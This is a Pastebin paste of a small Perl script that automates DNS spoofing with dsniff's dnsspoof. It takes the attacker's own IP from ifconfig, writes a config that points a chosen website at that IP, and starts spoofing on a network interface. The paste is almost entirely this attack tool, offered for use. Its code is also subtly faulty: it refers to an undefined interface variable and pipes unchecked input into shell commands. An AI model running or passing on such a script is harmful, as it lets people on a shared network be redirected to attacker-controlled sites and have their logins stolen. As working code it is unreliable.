Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- # DNS spoofing with DNSSPOOF from DSNIFF suite...
- # Usage: ./dnsspoof.pl <interface> <target website>
- print "[+] Starting the DNS spoofing machine! \n";
- $device = shift; # first command line arg - Interface to use
- $URL = shift; # second command line arg - URL to spoof
- print "[+] Retrieving your IP from ifconfig...\n";
- @ifconf = split(" ", qx[/sbin/ifconfig $device]); # Get data from ifconfig
- $me = substr(@ifconf[6], 5); # getting your IP
- print "[+] Writing dnsspoof.conf \n";
- system("echo $me $URL > dnsspoof.conf"); # write the config file... this needs improvement
- print "[*] Your IP: $me \n";
- print "[*] Site we be spoofin as: $URL \n";
- print "[!] CTRL+C to end... \n";
- system("dnsspoof -i $interface -f dnsspoof.conf"); # Do the spoofing
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement